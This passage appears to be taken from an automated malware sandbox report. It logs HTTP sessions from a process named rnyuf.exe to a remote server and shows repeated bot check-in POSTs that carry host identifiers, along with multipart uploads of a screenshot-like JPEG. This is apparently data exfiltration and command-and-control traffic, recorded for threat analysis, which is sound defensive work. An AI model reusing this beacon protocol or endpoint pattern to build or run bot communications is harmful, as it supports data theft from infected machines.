280	192.168.2.4	50019	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:59.546881914 CEST	17263	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:59.625637054 CEST	17277	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.4	50020	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:59.600308895 CEST	17264	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:59.600398064 CEST	17264	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:59.600589991 CEST	17274	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:59.600696087 CEST	17277	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:59.635679960 CEST	17280	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:59.635735035 CEST	17282	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:59.635747910 CEST	17285	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:59.635876894 CEST	17297	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:59.635956049 CEST	17302	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:59.670979977 CEST	17305	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:59.671020031 CEST	17313	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:59.800431967 CEST	17372	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.4	50021	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:59.826787949 CEST	17373	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:59.921061993 CEST	17373	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.4	50022	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:00.381589890 CEST	17374	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:00.455825090 CEST	17464	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.4	50023	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:00.386209011 CEST	17374	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:29:00.386317015 CEST	17375	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:00.386506081 CEST	17385	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:00.386639118 CEST	17387	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:00.420011997 CEST	17390	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:00.420064926 CEST	17404	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:29:00.420201063 CEST	17408	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:29:00.420238018 CEST	17413	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:29:00.452260971 CEST	17416	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:29:00.452297926 CEST	17419	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:29:00.452313900 CEST	17429	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:29:00.551465988 CEST	17482	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.4	50024	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:00.696636915 CEST	17483	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:00.767625093 CEST	17483	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.4	50025	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:00.909743071 CEST	17484	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:29:00.909892082 CEST	17484	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:00.910073996 CEST	17494	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:00.910172939 CEST	17497	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:00.942370892 CEST	17500	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:00.942418098 CEST	17503	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:29:00.942434072 CEST	17508	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:29:00.942807913 CEST	17517	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:29:00.942846060 CEST	17523	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:29:00.974912882 CEST	17526	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:29:00.974970102 CEST	17544	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:29:01.078202009 CEST	17593	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.4	50026	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:00.970294952 CEST	17523	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:01.052099943 CEST	17592	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.4	50027	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
